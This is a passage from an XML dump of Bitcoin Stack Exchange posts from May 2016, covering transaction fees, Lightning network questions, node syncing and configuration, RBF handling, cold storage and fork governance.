way of spending 2.999 XBT when you&#xA;  have 3 XBT. You could send the full 3 XBT to the vendor without a fee&#xA;  (assuming the outputs are sufficiently old to satisfy step 3), but&#xA;  some vendors ask you to send the exact amount they specify.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Since the 1 BTC input and the 2 BTC input are interchangeable in this respect, let's (for the sake of simplicity) settle that the bitcoin client decides to send the 2 BTC input in full for this example.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then it has to split the 1 BTC input into a 0.999 BTC output and a 0.001 BTC output. I assume that doing so requires a fee because one of the outputs is smaller than 0.01 BTC. So 0.0001 BTC have to be paid for this. This means that there now is a 0.999 BTC junk and a 0.0009 BTC. The 2 BTC junk and the 0.999 BTC junk are send away and the 0.0009 BTC junk remains at its owner.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can you tell me what I did wrong to get an outcome different from the one of the authors of that website?&lt;/p&gt;&#xA;" OwnerUserId="29893" LastEditorUserId="27" LastEditDate="2016-05-17T04:03:35.457" LastActivityDate="2016-09-27T10:03:45.683" Title="How does tx fee calculation work when txin and txout are similar amounts?" Tags="|transactions|transaction-fees|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="44149" PostTypeId="1" AcceptedAnswerId="44499" CreationDate="2016-05-16T21:27:01.743" Score="2" ViewCount="118" Body="&lt;p&gt;The &lt;a href=&quot;https://lightning.network/lightning-network-paper.pdf&quot; rel=&quot;nofollow&quot;&gt;Lightning Paper&lt;/a&gt; v0.5.9.2 says that CSV &quot;would permit further&#xA;abilities, including allowing a stop-gap solution before a more permanent&#xA;solution for resolving transaction malleability. A future version of this&#xA;paper will include proposed solutions.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This means that Thunder is still vulnerable to malleability attacks since it relies on CSV as a solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since &lt;a href=&quot;https://github.com/blockchain/thunder/blob/fc84b8de9378a9f5086c8fb6f198d2857766e167/README.md#feature-list&quot; rel=&quot;nofollow&quot;&gt;the Thunder readme&lt;/a&gt; does not mention malleability fixes as a TODO point, I guess the Thunder authors considers it fixed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The cited Lightning draft is from January.&lt;/p&gt;&#xA;" OwnerUserId="3347" LastEditorUserId="5406" LastEditDate="2016-05-30T08:34:06.687" LastActivityDate="2016-05-30T11:07:38.313" Title="Is CheckSequenceVerify only a stop-gap measure?" Tags="|transaction-malleability|lightning-network|checksequenceverify|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="44150" PostTypeId="1" AcceptedAnswerId="44155" CreationDate="2016-05-16T22:37:40.490" Score="2" ViewCount="305" Body="&lt;p&gt;My P2P is a bit rusty, but as far as I understand; if we're running a full node, other nodes will connect to us to share blocks. So I can see why it would be useful to be able to see how far behind other nodes's blockchains are with the &lt;code&gt;getpeerinfo&lt;/code&gt; command.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, what's the practical difference between &lt;code&gt;synced_headers&lt;/code&gt; and &lt;code&gt;synced_blocks&lt;/code&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, what does it mean if a peer has &lt;code&gt;synced_headers&lt;/code&gt; equal to the height of our own blockchain, but a &lt;code&gt;synced_blocks&lt;/code&gt; of &lt;strong&gt;-1&lt;/strong&gt;?&lt;/p&gt;&#xA;" OwnerUserId="24926" LastEditorUserId="5406" LastEditDate="2016-05-30T08:35:36.663" LastActivityDate="2016-05-30T08:35:36.663" Title="What's the difference between synced_blocks and synced_headers?" Tags="|json-rpc|network|synchronization|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="44151" PostTypeId="2" ParentId="44125" CreationDate="2016-05-17T00:43:03.233" Score="0" Body="&lt;p&gt;It's not practical to store anything more than a hash on the BTC blockchain. The hash can be used to prove that the owner of an address agrees with something (e.g. a document's contents). It's just as effective as a digital signature though.&lt;/p&gt;&#xA;" OwnerUserId="30084" LastActivityDate="2016-05-17T00:43:03.233" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="44152" PostTypeId="1" CreationDate="2016-05-17T01:26:20.953" Score="4" ViewCount="486" Body="&lt;p&gt;I am using the RPC API to submit automated transactions to my Bitcond, the user introduces the Amount and I check it against its balance before submitting the transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to also check if the user has enough balance to pay the network fee as well.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Is there a way to know the Bitcoin Network transaction fee BEFORE actually submitting the transaction?&lt;/li&gt;&#xA;&lt;li&gt;Is there a way I can define the network fee?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="26842" LastActivityDate="2016-05-17T04:34:36.247" Title="Is there a way to know the Bitcoin Network transaction fee BEFORE actually submitting the transaction?" Tags="|bitcoind|json-rpc|transaction-fees|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="44153" PostTypeId="1" CreationDate="2016-05-17T03:53:53.453" Score="8" ViewCount="496" Body="&lt;p&gt;Let's say I'm on a Lightning Network. Can I create a bunch of nodes, and do all my spending through those nodes?&lt;/p&gt;&#xA;&lt;p&gt;Can you hide the fact that these nodes are likely controlled by the same person?&lt;/p&gt;&#xA;&lt;p&gt;How often would you need to contact the blockchain? Would doing so compromise privacy?&lt;/p&gt;&#xA;&lt;p&gt;(You may assume that every network action is done from a different IP address.)&lt;/p&gt;&#xA;" OwnerUserId="35107" LastEditorUserId="5406" LastEditDate="2020-08-25T17:30:31.087" LastActivityDate="2020-08-25T17:30:31.087" Title="For lightning network, can I surround myself with a bunch of nodes to increase anonymity?" Tags="|lightning-network|privacy|lightning-routing|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="44154" PostTypeId="1" AcceptedAnswerId="44161" CreationDate="2016-05-17T04:06:37.770" Score="3" ViewCount="281" Body="&lt;p&gt;I understand replace-by-fee transactions are no threat to merchants who require multiple confirmations. However many businesses still accept 0 confirmation transactions as a means of improving usability and help with marketing. I expect demand for 0 confirmation transactions to continue (at least for transactions with a value below a certain economic threshold). What is the easiest way to automatically reject all RBF transactions?&lt;/p&gt;&#xA;" OwnerUserId="35717" LastEditorUserId="35732" LastEditDate="2016-05-22T22:28:48.133" LastActivityDate="2016-05-22T22:28:48.133" Title="What does a merchant need to do to reject RBF transactions" Tags="|zero-confirmation|replace-by-fee|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="44155" PostTypeId="2" ParentId="44150" CreationDate="2016-05-17T04:24:57.157" Score="2" Body="&lt;p&gt;Bitcoin clients can have headers without having blocks. (However, Bitcoin Core never has a block without a header.)&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;A &lt;code&gt;synced_blocks&lt;/code&gt; of -1 means that the best block for the other node is unknown.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;synced_blocks&lt;/code&gt; is set here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/b3e42b6d02e8d19658a9135e427ebceab5367779/src/main.cpp#L557&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bitcoin/bitcoin/blob/b3e42b6d02e8d19658a9135e427ebceab5367779/src/main.cpp#L557&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;stats.nCommonHeight = state-&amp;gt;pindexLastCommonBlock ? state-&amp;gt;pindexLastCommonBlock-&amp;gt;nHeight : -1;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;A &lt;code&gt;synced_headers&lt;/code&gt; of -1 means that the best header for the other node is unknown.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;synced_headers&lt;/code&gt; is set here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/b3e42b6d02e8d19658a9135e427ebceab5367779/src/main.cpp#L556&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bitcoin/bitcoin/blob/b3e42b6d02e8d19658a9135e427ebceab5367779/src/main.cpp#L556&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;stats.nSyncHeight = state-&amp;gt;pindexBestKnownBlock ? state-&amp;gt;pindexBestKnownBlock-&amp;gt;nHeight : -1;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2016-05-17T04:24:57.157" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="44156" PostTypeId="1" AcceptedAnswerId="44610" CreationDate="2016-05-17T04:25:57.753" Score="5" ViewCount="2342" Body="&lt;p&gt;How does the new thunder network work? How does it keep things decentralized?&lt;/p&gt;&#xA;" OwnerUserId="3029" LastEditorUserId="5406" LastEditDate="2017-12-23T17:14:24.450" LastActivityDate="2017-12-23T17:14:24.450" Title="How does the thunder network work? And how does it keep things decentralized?" Tags="|lightning-network|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="44157" PostTypeId="2" ParentId="44152" CreationDate="2016-05-17T04:34:36.247" Score="4" Body="&lt;p&gt;Yes.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Use &lt;code&gt;createrawtransaction&lt;/code&gt; with the outputs you want, but no inputs.&lt;/li&gt;&#xA;&lt;li&gt;Use &lt;code&gt;fundrawtransaction&lt;/code&gt; to make the wallet add inputs and a change output if necessary.&lt;/li&gt;&#xA;&lt;li&gt;Check what fee the resulting unsubmitted raw transaction has. If you like the result, continue:&lt;/li&gt;&#xA;&lt;li&gt;Call &lt;code&gt;signrawtransaction&lt;/code&gt; to sign the inputs.&lt;/li&gt;&#xA;&lt;li&gt;Call &lt;code&gt;sendrawtransaction&lt;/code&gt; to broadcast it on the network, and as a side effect, list it in the wallet.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You can't control the network fee directly (as it is per byte, and you don't know the size beforehand), but you can set the feerate using -paytxfee. In a new release, you'll also be able to pass the feerate to &lt;code&gt;fundrawtransaction&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2016-05-17T04:34:36.247" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="44158" PostTypeId="2" ParentId="44153" CreationDate="2016-05-17T06:16:34.347" Score="2" Body="&lt;p&gt;Every node you spin up will have to have Bitcoins that you can lock up to put into the payment channels it creates. Nothing is stopping you from starting a new node (and payment channel) for every node you transact with. And as long as none of the Bitcoins you used were connected to each other it wouldn't be very easy to prove those nodes were controlled by the same entity.&lt;/p&gt;&#xA;" OwnerUserId="35723" LastActivityDate="2016-05-17T06:16:34.347" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="44161" PostTypeId="2" ParentId="44154" CreationDate="2016-05-17T14:06:22.787" Score="6" Body="&lt;p&gt;&lt;a href=&quot;https://bitcoincore.org/en/faq/optin_rbf/&quot;&gt;Replace-by-fee (RBF) transactions&lt;/a&gt; all have a sequence number that is below &lt;code&gt;MAX - 1&lt;/code&gt;.  If the payment a merchant receives comes from a transaction that has such a sequence number, the merchant can either wait for the transaction to be included in a block, or ignore the payment altogether.  Ignoring the payment is fraught with other complications, however, since the bitcoin will still go to the merchant if included in a block.  The customer would have to replace the transaction, using RBF, before it is mined.  It's probably easier for most merchants to simply wait for the first confirmation.&lt;/p&gt;&#xA;" OwnerUserId="24974" LastActivityDate="2016-05-17T14:06:22.787" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="44162" PostTypeId="1" AcceptedAnswerId="44248" CreationDate="2016-05-17T14:57:22.020" Score="3" ViewCount="108" Body="&lt;p&gt;I tried to use some at the shifty exchange in the ethereum app, just for research. I sent money to the provided payment adress, but I think I included a to small fee.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My payment is now uncofirmed and in shifty the deal is expired, What will happen now with the bitcoin etc?&lt;/p&gt;&#xA;" OwnerUserId="524" LastActivityDate="2016-05-21T18:37:07.580" Title="I tried to use bitcoin to buy ethereum and failed, what will happen now?" Tags="|exchanges|ethereum|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="44164" PostTypeId="2" ParentId="43763" CreationDate="2016-05-17T17:08:40.830" Score="0" Body="&lt;p&gt;No. The minimum withdrawal amounts are there because of the fees that the exchange needs to pay to send your transaction. Fees are rising, so the truth is that Bitcoin is no longer a good option for micropayments at a reasonable price.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My advice would be to simply store the BTC you get when exchanging your DOGE and withdraw only when you have enough. I would always advise against storing funds in an exchange, but in this case the amounts will be small and you don't have much of an alternative.&lt;/p&gt;&#xA;" OwnerUserId="35326" LastActivityDate="2016-05-17T17:08:40.830" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="44165" PostTypeId="1" CreationDate="2016-05-17T15:31:52.617" Score="2" ViewCount="1529" Body="&lt;p&gt;Say I wished to hold a lot of bitcoins for many years as an investment. My worry would be about the long term safety of the different wallet mechanisms. If it's a website - what if it goes bust or goes down? If it's on my phone - then what if I lose my phone?... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Correct me if I'm wrong but presumably a bitcoin is essentially a long string of numbers, so presumably I could physically write this down on paper, make a few copies as backup and bury them in the garden (or whatever), then I wouldn't have to worry about the website going down.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess that my ultimate question is, how can I store some bitcoins for many years without having to worry about the security of my wallet?&lt;/p&gt;&#xA;" OwnerUserId="35746" OwnerDisplayName="Mick" LastEditorUserId="5406" LastEditDate="2016-06-13T14:05:07.387" LastActivityDate="2016-06-13T14:05:07.387" Title="How can I hold Bitcoins safely in the long term?" Tags="|coldstorage|" AnswerCount="4" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="44166" PostTypeId="2" ParentId="44165" CreationDate="2016-05-17T16:16:31.140" Score="-1" Body="&lt;p&gt;I went on over to the &lt;a href=&quot;https://en.bitcoin.it/wiki/Help:FAQ#Where_does_the_value_of_Bitcoin_stem_from.3F_What_backs_up_Bitcoin.3F&quot; rel=&quot;nofollow&quot;&gt;BitCoin wiki&lt;/a&gt;.  And found this information:  &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Bitcoins have value because they are useful and because they are scarce. As they are accepted by more merchants, their value will stabilize&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You are now in the realm of precious metal or Forex type speculation, not investment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is some verbiage about early adopters benefiting from a rise in value of their bit coins, but also some indicating that it is pure speculation.  Is it still possible to be an early adopter?  Will the technology die or become the new currency?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my own opinion I feel that there is a lot of problems with the technology and it probably will not catch on.  When a person can &quot;print&quot; their own currency how can that currency be stable?  Granted one can make a corollary to gold mining, but that lends further weight to view of bit coins as a commodity.  However there could come a day in which they serve no useful purpose.&lt;/p&gt;&#xA;" OwnerDisplayName="Pete Belford" LastActivityDate="2016-05-17T16:16:31.140" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="44167" PostTypeId="2" ParentId="44165" CreationDate="2016-05-17T16:23:06.037" Score="1" Body="&lt;p&gt;You can store the bitcoins in wallet on desktop or mobile. As it's software, you can create multiple copies of the keys and keep it in different devices, say USB, email, desktop, mobile, drop box etc&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yes you can also store it as paper, but it would be humongous to do on your own.&lt;/p&gt;&#xA;" OwnerDisplayName="Dheer" LastActivityDate="2016-05-17T16:23:06.037" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="44168" PostTypeId="2" ParentId="44165" CreationDate="2016-05-17T16:35:52.613" Score="0" Body="&lt;p&gt;There are paper wallet software vendors.  Bitcoin uses cryptography in many facets, to store value, create and sign transactions, to mine blocks, and verify blocks, etc.  One of the uses for cryptography is private key generation.  The valuable aspect of a wallet is your private key, it's used to create addresses and create transactions.  A &quot;paper wallet&quot; is just a piece of paper with your private key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Personally, I'm more worried about losing a piece of paper than I am about losing a file.  Use a wallet software, back up your keys, place them in an encrypted container, and save it.  In addition to your keys save the installer for the wallet software you used.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hold a few bitcoins, nothing significant.  At this point I don't think they'll ever be terribly interesting as a currency.  &lt;/p&gt;&#xA;" OwnerDisplayName="quid" LastActivityDate="2016-05-17T16:35:52.613" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="44169" PostTypeId="1" AcceptedAnswerId="44170" CreationDate="2016-05-17T18:25:37.823" Score="6" ViewCount="5945" Body="&lt;p&gt;Using bitcoin-cli, how do I check how sync'ed my full node is?  &lt;/p&gt;&#xA;" OwnerUserId="4823" LastEditorUserId="4823" LastEditDate="2016-05-17T18:41:20.500" LastActivityDate="2016-05-17T18:56:38.490" Title="How to check if my node is fully sync'ed" Tags="|bitcoind|blockchain|synchronization|full-node|bitcoin-cli|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="44170" PostTypeId="2" ParentId="44169" CreationDate="2016-05-17T18:56:38.490" Score="6" Body="&lt;p&gt;Calling &lt;a href=&quot;https://bitcoin.org/en/developer-reference#getblockchaininfo&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;getblockchaininfo&lt;/code&gt;&lt;/a&gt; is your best bet.  It includes a field called &lt;code&gt;verificationprogress&lt;/code&gt;, which is an estimate of how much of the chain you have validated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, compare &lt;code&gt;headers&lt;/code&gt; to &lt;code&gt;blocks&lt;/code&gt;.  If &lt;code&gt;headers&lt;/code&gt; is higher, it means that your node has validated the headers for blocks that it has yet to validate.  When these numbers match up, it either means you are up to date, or for some reason your node isn't receiving any more block headers.  Unfortunately, this doesn't tell you how much further you have to go, since &lt;code&gt;headers&lt;/code&gt; may be well behind the rest of the network.  You can always compare these values to those provided by an online block explorer.  Still, when these numbers match (or are 1 apart), it generally means you are synced.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are also some good suggestions on this question:  &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/37815/how-to-know-if-bitcoind-synced&quot;&gt;How to know if bitcoind synced?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="24974" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:34.187" LastActivityDate="2016-05-17T18:56:38.490" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="44171" PostTypeId="1" CreationDate="2016-05-17T22:17:12.643" Score="8" ViewCount="3636" Body="&lt;p&gt;I just updated my node to 0.12 and its going through its long verification process but I noticed that its not using very much memory/cpu&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;pi         602 10.5 19.4 352220 184312 ?       Ssl  21:57   1:28 /usr/local/bin/bitcoind -datadir=/home/pi/bitcoinData/.bitcoin -daemon&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can I configure it to optimise all available memory and cpu? I recall a option to bump up the cache from a default of 50 or 100mb but cannot find the option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a 1GB PI 2. Any recommendations on maximum memory to use? I was thinking 900mb if possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you for your tips, and any optimizations to make this run best would be great! &lt;/p&gt;&#xA;" OwnerUserId="35755" LastEditorUserId="5406" LastEditDate="2016-06-13T15:17:16.157" LastActivityDate="2016-06-13T15:17:16.157" Title="How to tell bitcoind to use more memory and CPU" Tags="|bitcoind|cpu|raspberry-pi|bitcoin.conf|memory|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="44172" PostTypeId="2" ParentId="44171" CreationDate="2016-05-17T23:42:00.543" Score="8" Body="&lt;p&gt;It will by default use all CPU cores available.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if the database cache is too small, your node will spend its time fetching and writing database entries from/to disk, rather than verification&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can set the size of the database cache using a bitcoin.conf setting &lt;code&gt;dbcache=N&lt;/code&gt;, where N is the number of megabytes of RAM.&lt;/p&gt;&#xA;" OwnerUserId="208" LastEditorUserId="208" LastEditDate="2016-05-18T07:28:48.480" LastActivityDate="2016-05-18T07:28:48.480" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="44173" PostTypeId="1" CreationDate="2016-05-18T05:07:42.823" Score="5" ViewCount="102" Body="&lt;p&gt;Was it just a VPS based ploy to temporarily fake demand for the protocol?&lt;/p&gt;&#xA;" OwnerUserId="35769" LastActivityDate="2016-05-18T10:23:16.447" Title="What is the reason for the recent drop in Bitcoin classic nodes?" Tags="|nodes|bitcoin-classic|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="44175" PostTypeId="1" AcceptedAnswerId="44179" CreationDate="2016-05-18T07:45:21.717" Score="2" ViewCount="117" Body="&lt;p&gt;I get the impression that every time a consensus rule change is suggested then people assume that the miners/mining pools have the last word if this rule accepted or not. But isn't it up to the buyers?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Take the blocksize limit for example: A lot has been talked about which pool would go for which approach regarding the blocksize. Now let's assume one part of the miners would got for approach &quot;big blocks&quot; and the other would go for &quot;small blocks&quot;. This would result in a fork of the blockchain: Bitcoin would essentially be split into two currencies: BigBlockBitcoin and SmallBlockBitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I where to buy some Bitcoins after such an event, then I'd expect Bitcoin exchanges to offer me these two coin types. I would be able to buy the coins mined under the rules I like, it would not matter if they where mined by 90% of the miners world-wide, or by 10%.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Eventually one approach would lose traction and the coins value. So isn't it ultimately up to the buyers to decide if a coin is successful or not?&lt;/p&gt;&#xA;" OwnerUserId="112" LastEditorUserId="5406" LastEditDate="2016-06-13T21:31:22.597" LastActivityDate="2016-06-13T21:31:22.597" Title="Are the miners to decide if a consensus rule is accepted or not? Or are the buyers in power?" Tags="|mining-theory|consensus|blockchain-fork|governance|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="44176" PostTypeId="2" ParentId="44173" CreationDate="2016-05-18T10:23:16.447" Score="6" Body="&lt;p&gt;there is indeed speculation that only a few people are running the majority of classic nodes via aws or similiar services. a user on reddit claimed to host 800 vps classic nodes alone on aws, see &lt;a href=&quot;https://www.reddit.com/r/btc/comments/4aka3f/over_3000_classic_nodes/d113ffi&quot;&gt;https://www.reddit.com/r/btc/comments/4aka3f/over_3000_classic_nodes/d113ffi&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the comment is two months old and announced that those crowdfunded nodes will go offline in mid-may, which would fit the current drop. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;not sure about the fake demand part of your question, as I don't think there is anything malicious in vps nodes per se and that a good amount of core nodes are on vps too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;btw. 21.co has a couple of nice charts regarding node distribution:&#xA;&lt;a href=&quot;https://bitnodes.21.co/dashboard/#user-agents&quot;&gt;https://bitnodes.21.co/dashboard/#user-agents&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="35777" LastActivityDate="2016-05-18T10:23:16.447" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="44177" PostTypeId="1" AcceptedAnswerId="44182" CreationDate="2016-05-18T11:43:43.057" Score="1" ViewCount="49" Body="&lt;p&gt;When running &lt;code&gt;getpeerinfo&lt;/code&gt;, most nodes show a standard &lt;code&gt;addr&lt;/code&gt; like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;95.121.82.153:8333&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But the &lt;strong&gt;first inbound connection&lt;/strong&gt; has a differently formatted &lt;code&gt;addr&lt;/code&gt; like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[2a01:4f8:212:3b1f::2]:32220&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What does this mean?&lt;/p&gt;&#xA;" OwnerUserId="24926" LastActivityDate="2016-05-18T13:28:55.707" Title="When running a full node, why does the first inbound node have an unusual IP?" Tags="|network|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="44178" PostTypeId="2" ParentId="14154" CreationDate="2016-05-18T12:02:08.457" Score="0" Body="&lt;p&gt;Importing a private key into MultiBit Classic is not hard at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Open a text file and copy in the following line:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;5JinrCK2zeijdidLmjxCfpRWMbfXNS8i6XdUbmQAvW7CC55LQcU 2014-08-01T00:00:00Z&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Replace my private key with yours, leave a single space after the key, and don’t change the date, leaving it as 2014-08-01T00:00:00Z&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When saving the file replace the extension .txt with .key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Open MultiBit Classic and import the key, and you are done.&lt;/p&gt;&#xA;" OwnerUserId="13433" LastActivityDate="2016-05-18T12:02:08.457" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="44179" PostTypeId="2" ParentId="44175" CreationDate="2016-05-18T12:16:51.723" Score="4" Body="&lt;p&gt;Yes. Even more direct: owners of Bitcoins before the fork will suddenly own both types of coins after the fork and can start selling the side they don't want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, in general, this is a very messy and damaging way of deciding consensus: in times of uncertainty a lot of people will decide to move to USD to sit out the storm (causing both sides to drop in price). Another fact is that a lot of people do not follow all the day to day drama and will not notice the fork until they're too late. Those people will take the largest losses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Those things combined make it a further red flag for people considering investing in Bitcoin in the first place: why invest in something that radically changes course every x years through dramatic and damaging civil wars? Where you could be the one losing out if you blink your eyes. A currency needs stability to become trustworthy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also: Miners do have to make a choice fairly quickly after a fork, if they mine the wrong side, they will lose a lot of money. And yes users should not want to stay on a 10% mined chain very long: 10% security means that a 51% attack is incredible easy, so that coin would not have enough security to really survive.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All in all it's much better if consensus is reached in a peaceful manner. Luckily the long term goals of both miners and devs are fairly well aligned with the long term goals of users, so those coming to a consensus says a lot. As well as that users (as a group) have a lot of influence over what devs do or don't do (as is the nature of open source), as well as pressure over miners.&lt;/p&gt;&#xA;" OwnerUserId="5292" LastActivityDate="2016-05-18T12:16:51.723" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="44180" PostTypeId="1" CreationDate="2016-05-18T12:31:26.767" Score="0" ViewCount="101" Body="&lt;p&gt;I tried to put bitcoins into an p2p exchange with bitcoin-qt. I added a to small transaction fee, so the coins are now stuck as &quot;Unconfirmed&quot;. The offer from the exchange is overdue, so all that will happen if the transaction gets confirmed is that I get them back with an administrative fee. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like my coins right now and avoid paying the fee. I've read that you can double spend the coins back to yourself and if I add a higher payment fee than the first time this would probably override the original payment. How can I practically do this? I'm not a hardcore developer but feel comfortable using commandlines and know my way around computers.&lt;/p&gt;&#xA;" OwnerUserId="524" LastActivityDate="2016-05-19T01:25:10.107" Title="How to pratically doublespend bitcoins?" Tags="|transactions|doublespend|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="44181" PostTypeId="2" ParentId="44180" CreationDate="2016-05-18T13:15:50.013" Score="1" Body="&lt;p&gt;Technically, you are not double spending, since the transaction was never confirmed on the blockchain. Double spending is possible by 51% attack; what you are trying is to replace the transaction with one with desired fees, before it is confirmed on chain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use &lt;a href=&quot;https://github.com/petertodd/replace-by-fee-tools&quot; rel=&quot;nofollow&quot;&gt;https://github.com/petertodd/replace-by-fee-tools&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="25114" LastActivityDate="2016-05-18T13:15:50.013" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="44182" PostTypeId="2" ParentId="44177" CreationDate="2016-05-18T13:28:55.707" Score="3" Body="&lt;p&gt;That's an &lt;a href=&quot;https://en.wikipedia.org/wiki/IPv6_address&quot; rel=&quot;nofollow&quot;&gt;IPv6 address&lt;/a&gt;.  Basically, it's the latest version for formatting/assigning IP addresses.  At some point, we should all be seeing a lot of those...but they've been saying that for years.&lt;/p&gt;&#xA;" OwnerUserId="24974" LastActivityDate="2016-05-18T13:28:55.707" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
